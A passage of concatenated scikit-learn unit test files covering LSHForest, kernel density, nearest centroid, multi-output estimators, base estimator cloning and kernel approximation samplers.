    assert_raises(ValueError, lshf.partial_fit,
                  np.random.randn(n_samples_partial_fit, n_features - 1))

    ignore_warnings(lshf.partial_fit)(X_partial_fit)

    # size of _input_array = samples + 1 after insertion
    assert_equal(lshf._fit_X.shape[0],
                 n_samples + n_samples_partial_fit)
    # size of original_indices_[1] = samples + 1
    assert_equal(len(lshf.original_indices_[0]),
                 n_samples + n_samples_partial_fit)
    # size of trees_[1] = samples + 1
    assert_equal(len(lshf.trees_[1]),
                 n_samples + n_samples_partial_fit)


def test_hash_functions():
    # Checks randomness of hash functions.
    # Variance and mean of each hash function (projection vector)
    # should be different from flattened array of hash functions.
    # If hash functions are not randomly built (seeded with
    # same value), variances and means of all functions are equal.
    n_samples = 12
    n_features = 2
    n_estimators = 5
    rng = np.random.RandomState(42)
    X = rng.rand(n_samples, n_features)

    lshf = LSHForest(n_estimators=n_estimators,
                     random_state=rng.randint(0, np.iinfo(np.int32).max))
    ignore_warnings(lshf.fit)(X)

    hash_functions = []
    for i in range(n_estimators):
        hash_functions.append(lshf.hash_functions_[i].components_)

    for i in range(n_estimators):
        assert_not_equal(np.var(hash_functions),
                         np.var(lshf.hash_functions_[i].components_))

    for i in range(n_estimators):
        assert_not_equal(np.mean(hash_functions),
                         np.mean(lshf.hash_functions_[i].components_))


def test_candidates():
    # Checks whether candidates are sufficient.
    # This should handle the cases when number of candidates is 0.
    # User should be warned when number of candidates is less than
    # requested number of neighbors.
    X_train = np.array([[5, 5, 2], [21, 5, 5], [1, 1, 1], [8, 9, 1],
                        [6, 10, 2]], dtype=np.float32)
    X_test = np.array([7, 10, 3], dtype=np.float32).reshape(1, -1)

    # For zero candidates
    lshf = LSHForest(min_hash_match=32)
    ignore_warnings(lshf.fit)(X_train)

    message = ("Number of candidates is not sufficient to retrieve"
               " %i neighbors with"
               " min_hash_match = %i. Candidates are filled up"
               " uniformly from unselected"
               " indices." % (3, 32))
    assert_warns_message(UserWarning, message, lshf.kneighbors,
                         X_test, n_neighbors=3)
    distances, neighbors = lshf.kneighbors(X_test, n_neighbors=3)
    assert_equal(distances.shape[1], 3)

    # For candidates less than n_neighbors
    lshf = LSHForest(min_hash_match=31)
    ignore_warnings(lshf.fit)(X_train)

    message = ("Number of candidates is not sufficient to retrieve"
               " %i neighbors with"
               " min_hash_match = %i. Candidates are filled up"
               " uniformly from unselected"
               " indices." % (5, 31))
    assert_warns_message(UserWarning, message, lshf.kneighbors,
                         X_test, n_neighbors=5)
    distances, neighbors = lshf.kneighbors(X_test, n_neighbors=5)
    assert_equal(distances.shape[1], 5)


def test_graphs():
    # Smoke tests for graph methods.
    n_samples_sizes = [5, 10, 20]
    n_features = 3
    rng = np.random.RandomState(42)

    for n_samples in n_samples_sizes:
        X = rng.rand(n_samples, n_features)
        lshf = LSHForest(min_hash_match=0)
        ignore_warnings(lshf.fit)(X)

        kneighbors_graph = lshf.kneighbors_graph(X)
        radius_neighbors_graph = lshf.radius_neighbors_graph(X)

        assert_equal(kneighbors_graph.shape[0], n_samples)
        assert_equal(kneighbors_graph.shape[1], n_samples)
        assert_equal(radius_neighbors_graph.shape[0], n_samples)
        assert_equal(radius_neighbors_graph.shape[1], n_samples)


def test_sparse_input():
    # note: Fixed random state in sp.rand is not supported in older scipy.
    #       The test should succeed regardless.
    X1 = sp.rand(50, 100)
    X2 = sp.rand(10, 100)
    forest_sparse = LSHForest(radius=1, random_state=0).fit(X1)
    forest_dense = LSHForest(radius=1, random_state=0).fit(X1.A)

    d_sparse, i_sparse = forest_sparse.kneighbors(X2, return_distance=True)
    d_dense, i_dense = forest_dense.kneighbors(X2.A, return_distance=True)

    assert_almost_equal(d_sparse, d_dense)
    assert_almost_equal(i_sparse, i_dense)

    d_sparse, i_sparse = forest_sparse.radius_neighbors(X2,
                                                        return_distance=True)
    d_dense, i_dense = forest_dense.radius_neighbors(X2.A,
                                                     return_distance=True)
    assert_equal(d_sparse.shape, d_dense.shape)
    for a, b in zip(d_sparse, d_dense):
        assert_almost_equal(a, b)
    for a, b in zip(i_sparse, i_dense):
        assert_almost_equal(a, b)






import numpy as np
from sklearn.utils.testing import (assert_allclose, assert_raises,
                                   assert_equal)
from sklearn.neighbors import KernelDensity, KDTree, NearestNeighbors
from sklearn.neighbors.ball_tree import kernel_norm
from sklearn.pipeline import make_pipeline
from sklearn.datasets import make_blobs
from sklearn.model_selection import GridSearchCV
from sklearn.preprocessing import StandardScaler


def compute_kernel_slow(Y, X, kernel, h):
    d = np.sqrt(((Y[:, None, :] - X) ** 2).sum(-1))
    norm = kernel_norm(h, X.shape[1], kernel) / X.shape[0]

    if kernel == 'gaussian':
        return norm * np.exp(-0.5 * (d * d) / (h * h)).sum(-1)
    elif kernel == 'tophat':
        return norm * (d < h).sum(-1)
    elif kernel == 'epanechnikov':
        return norm * ((1.0 - (d * d) / (h * h)) * (d < h)).sum(-1)
    elif kernel == 'exponential':
        return norm * (np.exp(-d / h)).sum(-1)
    elif kernel == 'linear':
        return norm * ((1 - d / h) * (d < h)).sum(-1)
    elif kernel == 'cosine':
        return norm * (np.cos(0.5 * np.pi * d / h) * (d < h)).sum(-1)
    else:
        raise ValueError('kernel not recognized')


def test_kernel_density(n_samples=100, n_features=3):
    rng = np.random.RandomState(0)
    X = rng.randn(n_samples, n_features)
    Y = rng.randn(n_samples, n_features)

    for kernel in ['gaussian', 'tophat', 'epanechnikov',
                   'exponential', 'linear', 'cosine']:
        for bandwidth in [0.01, 0.1, 1]:
            dens_true = compute_kernel_slow(Y, X, kernel, bandwidth)

            def check_results(kernel, bandwidth, atol, rtol):
                kde = KernelDensity(kernel=kernel, bandwidth=bandwidth,
                                    atol=atol, rtol=rtol)
                log_dens = kde.fit(X).score_samples(Y)
                assert_allclose(np.exp(log_dens), dens_true,
                                atol=atol, rtol=max(1E-7, rtol))
                assert_allclose(np.exp(kde.score(Y)),
                                np.prod(dens_true),
                                atol=atol, rtol=max(1E-7, rtol))

            for rtol in [0, 1E-5]:
                for atol in [1E-6, 1E-2]:
                    for breadth_first in (True, False):
                        yield (check_results, kernel, bandwidth, atol, rtol)


def test_kernel_density_sampling(n_samples=100, n_features=3):
    rng = np.random.RandomState(0)
    X = rng.randn(n_samples, n_features)

    bandwidth = 0.2

    for kernel in ['gaussian', 'tophat']:
        # draw a tophat sample
        kde = KernelDensity(bandwidth, kernel=kernel).fit(X)
        samp = kde.sample(100)
        assert_equal(X.shape, samp.shape)

        # check that samples are in the right range
        nbrs = NearestNeighbors(n_neighbors=1).fit(X)
        dist, ind = nbrs.kneighbors(X, return_distance=True)

        if kernel == 'tophat':
            assert np.all(dist < bandwidth)
        elif kernel == 'gaussian':
            # 5 standard deviations is safe for 100 samples, but there's a
            # very small chance this test could fail.
            assert np.all(dist < 5 * bandwidth)

    # check unsupported kernels
    for kernel in ['epanechnikov', 'exponential', 'linear', 'cosine']:
        kde = KernelDensity(bandwidth, kernel=kernel).fit(X)
        assert_raises(NotImplementedError, kde.sample, 100)

    # non-regression test: used to return a scalar
    X = rng.randn(4, 1)
    kde = KernelDensity(kernel="gaussian").fit(X)
    assert_equal(kde.sample().shape, (1, 1))


def test_kde_algorithm_metric_choice():
    # Smoke test for various metrics and algorithms
    rng = np.random.RandomState(0)
    X = rng.randn(10, 2)    # 2 features required for haversine dist.
    Y = rng.randn(10, 2)

    for algorithm in ['auto', 'ball_tree', 'kd_tree']:
        for metric in ['euclidean', 'minkowski', 'manhattan',
                       'chebyshev', 'haversine']:
            if algorithm == 'kd_tree' and metric not in KDTree.valid_metrics:
                assert_raises(ValueError, KernelDensity,
                              algorithm=algorithm, metric=metric)
            else:
                kde = KernelDensity(algorithm=algorithm, metric=metric)
                kde.fit(X)
                y_dens = kde.score_samples(Y)
                assert_equal(y_dens.shape, Y.shape[:1])


def test_kde_score(n_samples=100, n_features=3):
    pass
    #FIXME
    #np.random.seed(0)
    #X = np.random.random((n_samples, n_features))
    #Y = np.random.random((n_samples, n_features))


def test_kde_badargs():
    assert_raises(ValueError, KernelDensity,
                  algorithm='blah')
    assert_raises(ValueError, KernelDensity,
                  bandwidth=0)
    assert_raises(ValueError, KernelDensity,
                  kernel='blah')
    assert_raises(ValueError, KernelDensity,
                  metric='blah')
    assert_raises(ValueError, KernelDensity,
                  algorithm='kd_tree', metric='blah')


def test_kde_pipeline_gridsearch():
    # test that kde plays nice in pipelines and grid-searches
    X, _ = make_blobs(cluster_std=.1, random_state=1,
                      centers=[[0, 1], [1, 0], [0, 0]])
    pipe1 = make_pipeline(StandardScaler(with_mean=False, with_std=False),
                          KernelDensity(kernel="gaussian"))
    params = dict(kerneldensity__bandwidth=[0.001, 0.01, 0.1, 1, 10])
    search = GridSearchCV(pipe1, param_grid=params, cv=5)
    search.fit(X)
    assert_equal(search.best_params_['kerneldensity__bandwidth'], .1)












"""
Testing for the nearest centroid module.
"""

import numpy as np
from scipy import sparse as sp
from numpy.testing import assert_array_equal
from numpy.testing import assert_equal

from sklearn.neighbors import NearestCentroid
from sklearn import datasets
from sklearn.metrics.pairwise import pairwise_distances

# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
X_csr = sp.csr_matrix(X)  # Sparse matrix
y = [-1, -1, -1, 1, 1, 1]
T = [[-1, -1], [2, 2], [3, 2]]
T_csr = sp.csr_matrix(T)
true_result = [-1, 1, 1]

# also load the iris dataset
# and randomly permute it
iris = datasets.load_iris()
rng = np.random.RandomState(1)
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]


def test_classification_toy():
    # Check classification on a toy dataset, including sparse versions.
    clf = NearestCentroid()
    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)

    # Same test, but with a sparse matrix to fit and test.
    clf = NearestCentroid()
    clf.fit(X_csr, y)
    assert_array_equal(clf.predict(T_csr), true_result)

    # Fit with sparse, test with non-sparse
    clf = NearestCentroid()
    clf.fit(X_csr, y)
    assert_array_equal(clf.predict(T), true_result)

    # Fit with non-sparse, test with sparse
    clf = NearestCentroid()
    clf.fit(X, y)
    assert_array_equal(clf.predict(T_csr), true_result)

    # Fit and predict with non-CSR sparse matrices
    clf = NearestCentroid()
    clf.fit(X_csr.tocoo(), y)
    assert_array_equal(clf.predict(T_csr.tolil()), true_result)


def test_precomputed():
    clf = NearestCentroid(metric="precomputed")
    clf.fit(X, y)
    S = pairwise_distances(T, clf.centroids_)
    assert_array_equal(clf.predict(S), true_result)


def test_iris():
    # Check consistency on dataset iris.
    for metric in ('euclidean', 'cosine'):
        clf = NearestCentroid(metric=metric).fit(iris.data, iris.target)
        score = np.mean(clf.predict(iris.data) == iris.target)
        assert score > 0.9, "Failed with score = " + str(score)


def test_iris_shrinkage():
    # Check consistency on dataset iris, when using shrinkage.
    for metric in ('euclidean', 'cosine'):
        for shrink_threshold in [None, 0.1, 0.5]:
            clf = NearestCentroid(metric=metric,
                                  shrink_threshold=shrink_threshold)
            clf = clf.fit(iris.data, iris.target)
            score = np.mean(clf.predict(iris.data) == iris.target)
            assert score > 0.8, "Failed with score = " + str(score)


def test_pickle():
    import pickle

    # classification
    obj = NearestCentroid()
    obj.fit(iris.data, iris.target)
    score = obj.score(iris.data, iris.target)
    s = pickle.dumps(obj)

    obj2 = pickle.loads(s)
    assert_equal(type(obj2), obj.__class__)
    score2 = obj2.score(iris.data, iris.target)
    assert_array_equal(score, score2,
                       "Failed to generate same score"
                       " after pickling (classification).")


def test_shrinkage_threshold_decoded_y():
    clf = NearestCentroid(shrink_threshold=0.01)
    y_ind = np.asarray(y)
    y_ind[y_ind == -1] = 0
    clf.fit(X, y_ind)
    centroid_encoded = clf.centroids_
    clf.fit(X, y)
    assert_array_equal(centroid_encoded, clf.centroids_)


def test_predict_translated_data():
    # Test that NearestCentroid gives same results on translated data

    rng = np.random.RandomState(0)
    X = rng.rand(50, 50)
    y = rng.randint(0, 3, 50)
    noise = rng.rand(50)
    clf = NearestCentroid(shrink_threshold=0.1)
    clf.fit(X, y)
    y_init = clf.predict(X)
    clf = NearestCentroid(shrink_threshold=0.1)
    X_noise = X + noise
    clf.fit(X_noise, y)
    y_translate = clf.predict(X_noise)
    assert_array_equal(y_init, y_translate)


def test_manhattan_metric():
    # Test the manhattan metric.

    clf = NearestCentroid(metric='manhattan')
    clf.fit(X, y)
    dense_centroid = clf.centroids_
    clf.fit(X_csr, y)
    assert_array_equal(clf.centroids_, dense_centroid)
    assert_array_equal(dense_centroid, [[-1, -1], [1, 1]])






import numpy as np
import scipy.sparse as sp
from sklearn.utils import shuffle
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regex
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.exceptions import NotFittedError
from sklearn import datasets
from sklearn.base import clone
from sklearn.ensemble import GradientBoostingRegressor, RandomForestClassifier
from sklearn.linear_model import Lasso
from sklearn.svm import LinearSVC
from sklearn.multiclass import OneVsRestClassifier
from sklearn.multioutput import MultiOutputRegressor, MultiOutputClassifier


def test_multi_target_regression():
    X, y = datasets.make_regression(n_targets=3)
    X_train, y_train = X[:50], y[:50]
    X_test, y_test = X[50:], y[50:]

    references = np.zeros_like(y_test)
    for n in range(3):
        rgr = GradientBoostingRegressor(random_state=0)
        rgr.fit(X_train, y_train[:, n])
        references[:,n] = rgr.predict(X_test)

    rgr = MultiOutputRegressor(GradientBoostingRegressor(random_state=0))
    rgr.fit(X_train, y_train)
    y_pred = rgr.predict(X_test)

    assert_almost_equal(references, y_pred)


def test_multi_target_regression_one_target():
    # Test multi target regression raises
    X, y = datasets.make_regression(n_targets=1)
    X_train, y_train = X[:50], y[:50]
    X_test, y_test = X[50:], y[50:]

    rgr = MultiOutputRegressor(GradientBoostingRegressor(random_state=0))
    assert_raises(ValueError, rgr.fit, X_train, y_train)


def test_multi_target_sparse_regression():
    X, y = datasets.make_regression(n_targets=3)
    X_train, y_train = X[:50], y[:50]
    X_test, y_test = X[50:], y[50:]

    for sparse in [sp.csr_matrix, sp.csc_matrix, sp.coo_matrix, sp.dok_matrix,
                   sp.lil_matrix]:
        rgr = MultiOutputRegressor(Lasso(random_state=0))
        rgr_sparse = MultiOutputRegressor(Lasso(random_state=0))

        rgr.fit(X_train, y_train)
        rgr_sparse.fit(sparse(X_train), y_train)

        assert_almost_equal(rgr.predict(X_test), rgr_sparse.predict(sparse(X_test)))


def test_multi_target_sample_weights_api():
    X = [[1,2,3], [4,5,6]]
    y = [[3.141, 2.718], [2.718, 3.141]]
    w = [0.8, 0.6]

    rgr = MultiOutputRegressor(Lasso())
    assert_raises_regex(ValueError, "does not support sample weights",
                        rgr.fit, X, y, w)

    # no exception should be raised if the base estimator supports weights
    rgr = MultiOutputRegressor(GradientBoostingRegressor(random_state=0))
    rgr.fit(X, y, w)


def test_multi_target_sample_weights():
    # weighted regressor
    Xw = [[1,2,3], [4,5,6]]
    yw = [[3.141, 2.718], [2.718, 3.141]]
    w = [2., 1.]
    rgr_w = MultiOutputRegressor(GradientBoostingRegressor(random_state=0))
    rgr_w.fit(Xw, yw, w)

    # unweighted, but with repeated samples
    X = [[1,2,3], [1,2,3], [4,5,6]]
    y = [[3.141, 2.718], [3.141, 2.718], [2.718, 3.141]]
    rgr = MultiOutputRegressor(GradientBoostingRegressor(random_state=0))
    rgr.fit(X, y)

    X_test = [[1.5,2.5,3.5], [3.5,4.5,5.5]]
    assert_almost_equal(rgr.predict(X_test), rgr_w.predict(X_test))

# Import the data
iris = datasets.load_iris()
# create a multiple targets by randomized shuffling and concatenating y.
X = iris.data
y1 = iris.target
y2 = shuffle(y1, random_state=1)
y3 = shuffle(y1, random_state=2)
y = np.column_stack((y1, y2, y3))
n_samples, n_features = X.shape
n_outputs = y.shape[1]
n_classes = len(np.unique(y1))


def test_multi_output_classification():
    # test if multi_target initializes correctly with base estimator and fit
    # assert predictions work as expected for predict, prodict_proba and score

    forest = RandomForestClassifier(n_estimators=10, random_state=1)
    multi_target_forest = MultiOutputClassifier(forest)

    # train the multi_target_forest and also get the predictions.
    multi_target_forest.fit(X, y)

    predictions = multi_target_forest.predict(X)
    assert_equal((n_samples, n_outputs), predictions.shape)

    predict_proba = multi_target_forest.predict_proba(X)
    assert_equal((n_samples, n_classes, n_outputs), predict_proba.shape)

    assert_array_equal(np.argmax(predict_proba, axis=1), predictions)

    # train the forest with each column and assert that predictions are equal
    for i in range(3):
        forest_ = clone(forest)  # create a clone with the same state
        forest_.fit(X, y[:, i])
        assert_equal(list(forest_.predict(X)), list(predictions[:, i]))
        assert_array_equal(list(forest_.predict_proba(X)),
                           list(predict_proba[:, :, i]))


def test_multiclass_multioutput_estimator():
    # test to check meta of meta estimators
    svc = LinearSVC(random_state=0)
    multi_class_svc = OneVsRestClassifier(svc)
    multi_target_svc = MultiOutputClassifier(multi_class_svc)

    multi_target_svc.fit(X, y)

    predictions = multi_target_svc.predict(X)
    assert_equal((n_samples, n_outputs), predictions.shape)

    # train the forest with each column and assert that predictions are equal
    for i in range(3):
        multi_class_svc_ = clone(multi_class_svc)  # create a clone
        multi_class_svc_.fit(X, y[:, i])
        assert_equal(list(multi_class_svc_.predict(X)),
                     list(predictions[:, i]))


def test_multi_output_classification_sample_weights():
    # weighted classifier
    Xw = [[1, 2, 3], [4, 5, 6]]
    yw = [[3, 2], [2, 3]]
    w = np.asarray([2., 1.])
    forest = RandomForestClassifier(n_estimators=10, random_state=1)
    clf_w = MultiOutputClassifier(forest)
    clf_w.fit(Xw, yw, w)

    # unweighted, but with repeated samples
    X = [[1, 2, 3], [1, 2, 3], [4, 5, 6]]
    y = [[3, 2], [3, 2], [2, 3]]
    forest = RandomForestClassifier(n_estimators=10, random_state=1)
    clf = MultiOutputClassifier(forest)
    clf.fit(X, y)

    X_test = [[1.5, 2.5, 3.5], [3.5, 4.5, 5.5]]
    assert_almost_equal(clf.predict(X_test), clf_w.predict(X_test))


def test_multi_output_exceptions():
    # NotFittedError when fit is not done but score, predict and
    # and predict_proba are called
    moc = MultiOutputClassifier(LinearSVC(random_state=0))
    assert_raises(NotFittedError, moc.predict, y)
    assert_raises(NotFittedError, moc.predict_proba, y)
    assert_raises(NotFittedError, moc.score, X, y)
    # ValueError when number of outputs is different
    # for fit and score
    y_new = np.column_stack((y1, y2))
    moc.fit(X, y)
    assert_raises(ValueError, moc.score, X, y_new)






# Author: Gael Varoquaux
# License: BSD 3 clause

import sys

import numpy as np
import scipy.sparse as sp

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_raises

from sklearn.base import BaseEstimator, clone, is_classifier
from sklearn.svm import SVC
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV
from sklearn.utils import deprecated


#############################################################################
# A few test classes
class MyEstimator(BaseEstimator):

    def __init__(self, l1=0, empty=None):
        self.l1 = l1
        self.empty = empty


class K(BaseEstimator):
    def __init__(self, c=None, d=None):
        self.c = c
        self.d = d


class T(BaseEstimator):
    def __init__(self, a=None, b=None):
        self.a = a
        self.b = b


class DeprecatedAttributeEstimator(BaseEstimator):
    def __init__(self, a=None, b=None):
        self.a = a
        if b is not None:
            DeprecationWarning("b is deprecated and renamed 'a'")
            self.a = b

    @property
    @deprecated("Parameter 'b' is deprecated and renamed to 'a'")
    def b(self):
        return self._b


class Buggy(BaseEstimator):
    " A buggy estimator that does not set its parameters right. "

    def __init__(self, a=None):
        self.a = 1


class NoEstimator(object):
    def __init__(self):
        pass

    def fit(self, X=None, y=None):
        return self

    def predict(self, X=None):
        return None


class VargEstimator(BaseEstimator):
    """Sklearn estimators shouldn't have vargs."""
    def __init__(self, *vargs):
        pass


#############################################################################
# The tests

def test_clone():
    # Tests that clone creates a correct deep copy.
    # We create an estimator, make a copy of its original state
    # (which, in this case, is the current state of the estimator),
    # and check that the obtained copy is a correct deep copy.

    from sklearn.feature_selection import SelectFpr, f_classif

    selector = SelectFpr(f_classif, alpha=0.1)
    new_selector = clone(selector)
    assert_true(selector is not new_selector)
    assert_equal(selector.get_params(), new_selector.get_params())

    selector = SelectFpr(f_classif, alpha=np.zeros((10, 2)))
    new_selector = clone(selector)
    assert_true(selector is not new_selector)


def test_clone_2():
    # Tests that clone doesn't copy everything.
    # We first create an estimator, give it an own attribute, and
    # make a copy of its original state. Then we check that the copy doesn't
    # have the specific attribute we manually added to the initial estimator.

    from sklearn.feature_selection import SelectFpr, f_classif

    selector = SelectFpr(f_classif, alpha=0.1)
    selector.own_attribute = "test"
    new_selector = clone(selector)
    assert_false(hasattr(new_selector, "own_attribute"))


def test_clone_buggy():
    # Check that clone raises an error on buggy estimators.
    buggy = Buggy()
    buggy.a = 2
    assert_raises(RuntimeError, clone, buggy)

    no_estimator = NoEstimator()
    assert_raises(TypeError, clone, no_estimator)

    varg_est = VargEstimator()
    assert_raises(RuntimeError, clone, varg_est)


def test_clone_empty_array():
    # Regression test for cloning estimators with empty arrays
    clf = MyEstimator(empty=np.array([]))
    clf2 = clone(clf)
    assert_array_equal(clf.empty, clf2.empty)

    clf = MyEstimator(empty=sp.csr_matrix(np.array([[0]])))
    clf2 = clone(clf)
    assert_array_equal(clf.empty.data, clf2.empty.data)


def test_clone_nan():
    # Regression test for cloning estimators with default parameter as np.nan
    clf = MyEstimator(empty=np.nan)
    clf2 = clone(clf)

    assert_true(clf.empty is clf2.empty)


def test_clone_sparse_matrices():
    sparse_matrix_classes = [
        getattr(sp, name)
        for name in dir(sp) if name.endswith('_matrix')]

    PY26 = sys.version_info[:2] == (2, 6)
    if PY26:
        # sp.dok_matrix can not be deepcopied in Python 2.6
        sparse_matrix_classes.remove(sp.dok_matrix)

    for cls in sparse_matrix_classes:
        sparse_matrix = cls(np.eye(5))
        clf = MyEstimator(empty=sparse_matrix)
        clf_cloned = clone(clf)
        assert_true(clf.empty.__class__ is clf_cloned.empty.__class__)
        assert_array_equal(clf.empty.toarray(), clf_cloned.empty.toarray())


def test_repr():
    # Smoke test the repr of the base estimator.
    my_estimator = MyEstimator()
    repr(my_estimator)
    test = T(K(), K())
    assert_equal(
        repr(test),
        "T(a=K(c=None, d=None), b=K(c=None, d=None))"
    )

    some_est = T(a=["long_params"] * 1000)
    assert_equal(len(repr(some_est)), 415)


def test_str():
    # Smoke test the str of the base estimator
    my_estimator = MyEstimator()
    str(my_estimator)


def test_get_params():
    test = T(K(), K())

    assert_true('a__d' in test.get_params(deep=True))
    assert_true('a__d' not in test.get_params(deep=False))

    test.set_params(a__d=2)
    assert_true(test.a.d == 2)
    assert_raises(ValueError, test.set_params, a__a=2)


def test_get_params_deprecated():
    # deprecated attribute should not show up as params
    est = DeprecatedAttributeEstimator(a=1)

    assert_true('a' in est.get_params())
    assert_true('a' in est.get_params(deep=True))
    assert_true('a' in est.get_params(deep=False))

    assert_true('b' not in est.get_params())
    assert_true('b' not in est.get_params(deep=True))
    assert_true('b' not in est.get_params(deep=False))


def test_is_classifier():
    svc = SVC()
    assert_true(is_classifier(svc))
    assert_true(is_classifier(GridSearchCV(svc, {'C': [0.1, 1]})))
    assert_true(is_classifier(Pipeline([('svc', svc)])))
    assert_true(is_classifier(Pipeline([('svc_cv',
                                         GridSearchCV(svc, {'C': [0.1, 1]}))])))


def test_set_params():
    # test nested estimator parameter setting
    clf = Pipeline([("svc", SVC())])
    # non-existing parameter in svc
    assert_raises(ValueError, clf.set_params, svc__stupid_param=True)
    # non-existing parameter of pipeline
    assert_raises(ValueError, clf.set_params, svm__stupid_param=True)
    # we don't currently catch if the things in pipeline are estimators
    # bad_pipeline = Pipeline([("bad", NoEstimator())])
    # assert_raises(AttributeError, bad_pipeline.set_params,
    #               bad__stupid_param=True)


def test_score_sample_weight():
    from sklearn.tree import DecisionTreeClassifier
    from sklearn.tree import DecisionTreeRegressor
    from sklearn import datasets

    rng = np.random.RandomState(0)

    # test both ClassifierMixin and RegressorMixin
    estimators = [DecisionTreeClassifier(max_depth=2),
                  DecisionTreeRegressor(max_depth=2)]
    sets = [datasets.load_iris(),
            datasets.load_boston()]

    for est, ds in zip(estimators, sets):
        est.fit(ds.data, ds.target)
        # generate random sample weights
        sample_weight = rng.randint(1, 10, size=len(ds.target))
        # check that the score with and without sample weights are different
        assert_not_equal(est.score(ds.data, ds.target),
                         est.score(ds.data, ds.target,
                                   sample_weight=sample_weight),
                         msg="Unweighted and weighted scores "
                             "are unexpectedly equal")






import numpy as np
from scipy.sparse import csr_matrix

from sklearn.utils.testing import assert_array_equal, assert_equal, assert_true
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_array_almost_equal, assert_raises
from sklearn.utils.testing import assert_less_equal

from sklearn.metrics.pairwise import kernel_metrics
from sklearn.kernel_approximation import RBFSampler
from sklearn.kernel_approximation import AdditiveChi2Sampler
from sklearn.kernel_approximation import SkewedChi2Sampler
from sklearn.kernel_approximation import Nystroem
from sklearn.metrics.pairwise import polynomial_kernel, rbf_kernel

# generate data
rng = np.random.RandomState(0)
X = rng.random_sample(size=(300, 50))
Y = rng.random_sample(size=(300, 50))
X /= X.sum(axis=1)[:, np.newaxis]
Y /= Y.sum(axis=1)[:, np.newaxis]


def test_additive_chi2_sampler():
    # test that AdditiveChi2Sampler approximates kernel on random data

    # compute exact kernel
    # abbreviations for easier formula
    X_ = X[:, np.newaxis, :]
    Y_ = Y[np.newaxis, :, :]

    large_kernel = 2 * X_ * Y_ / (X_ + Y_)

    # reduce to n_samples_x x n_samples_y by summing over features
    kernel = (large_kernel.sum(axis=2))

    # approximate kernel mapping
    transform = AdditiveChi2Sampler(sample_steps=3)
    X_trans = transform.fit_transform(X)
    Y_trans = transform.transform(Y)

    kernel_approx = np.dot(X_trans, Y_trans.T)

    assert_array_almost_equal(kernel, kernel_approx, 1)

    X_sp_trans = transform.fit_transform(csr_matrix(X))
    Y_sp_trans = transform.transform(csr_matrix(Y))

    assert_array_equal(X_trans, X_sp_trans.A)
    assert_array_equal(Y_trans, Y_sp_trans.A)

    # test error is raised on negative input
    Y_neg = Y.copy()
    Y_neg[0, 0] = -1
    assert_raises(ValueError, transform.transform, Y_neg)

    # test error on invalid sample_steps
    transform = AdditiveChi2Sampler(sample_steps=4)
    assert_raises(ValueError, transform.fit, X)

    # test that the sample interval is set correctly
    sample_steps_available = [1, 2, 3]
    for sample_steps in sample_steps_available:

        # test that the sample_interval is initialized correctly
        transform = AdditiveChi2Sampler(sample_steps=sample_steps)
        assert_equal(transform.sample_interval, None)

        # test that the sample_interval is changed in the fit method
        transform.fit(X)
        assert_not_equal(transform.sample_interval_, None)

    # test that the sample_interval is set correctly
    sample_interval = 0.3
    transform = AdditiveChi2Sampler(sample_steps=4,
                                    sample_interval=sample_interval)
    assert_equal(transform.sample_interval, sample_interval)
    transform.fit(X)
    assert_equal(transform.sample_interval_, sample_interval)


def test_skewed_chi2_sampler():
    # test that RBFSampler approximates kernel on random data

    # compute exact kernel
    c = 0.03
    # abbreviations for easier formula
    X_c = (X + c)[:, np.newaxis, :]
    Y_c = (Y + c)[np.newaxis, :, :]

    # we do it in log-space in the hope that it's more stable
    # this array is n_samples_x x n_samples_y big x n_features
    log_kernel = ((np.log(X_c) / 2.) + (np.log(Y_c) / 2.) + np.log(2.) -
                  np.log(X_c + Y_c))
    # reduce to n_samples_x x n_samples_y by summing over features in log-space
    kernel = np.exp(log_kernel.sum(axis=2))

    # approximate kernel mapping
    transform = SkewedChi2Sampler(skewedness=c, n_components=1000,
                                  random_state=42)
    X_trans = transform.fit_transform(X)
    Y_trans = transform.transform(Y)

    kernel_approx = np.dot(X_trans, Y_trans.T)
    assert_array_almost_equal(kernel, kernel_approx, 1)

    # test error is raised on negative input
    Y_neg = Y.copy()
    Y_neg[0, 0] = -1
    assert_raises(ValueError, transform.transform, Y_neg)


def test_rbf_sampler():
    # test that RBFSampler approximates kernel on random data
    # compute exact kernel
    gamma = 10.
    kernel = rbf_kernel(X, Y, gamma=gamma)

    # approximate kernel mapping
    rbf_transform = RBFSampler(gamma=gamma, n_components=1000, random_state=42)
    X_trans = rbf_transform.fit_transform(X)
    Y_trans = rbf_transform.transform(Y)
    kernel_approx = np.dot(X_trans, Y_trans.T)

    error = kernel - kernel_approx
    assert_less_equal(np.abs(np.mean(error)), 0.01)  # close to unbiased
    np.abs(error, out=error)
    assert_less_equal(np.max(error), 0.1)  # nothing too far off
    assert_less_equal(np.mean(error), 0.05)  # mean is fairly close


def test_input_validation():
    # Regression test: kernel approx. transformers should work on lists
    # No assertions; the old versions would simply crash
    X = [[1, 2], [3, 4], [5, 6]]
    AdditiveChi2Sampler().fit(X).transform(X)
    SkewedChi2Sampler().fit(X).transform(X)
    RBFSampler().fit(X).transform(X)

    X = csr_matrix(X)
    RBFSampler().fit(X).transform(X)


def test_nystroem_approximation():
    # some basic tests
    rnd = np.random.RandomState(0)
    X = rnd.uniform(size=(10, 4))

    # With n_components = n_samples this is exact
    X_transformed = Nystroem(n_components=X.shape[0]).fit_transform(X)
    K = rbf_kernel(X)
    assert_array_almost_equal(np.dot(X_transformed, X_transformed.T), K)

    trans = Nystroem(n_components=2, random_state=rnd)
    X_transformed = trans.fit(X).transform(X)
    assert_equal(X_transformed.shape, (X.shape[0], 2))

    # test callable kernel
    linear_kernel = lambda X, Y: np.dot(X, Y.T)
    trans = Nystroem(n_components=2, kernel=linear_kernel, random_state=rnd)
    X_transformed = trans.fit(X).transform(X)
    assert_equal(X_transformed.shape, (X.shape[0], 2))

    # test that available kernels fit and transform
    kernels_available = kernel_metrics()
    for kern in kernels_available:
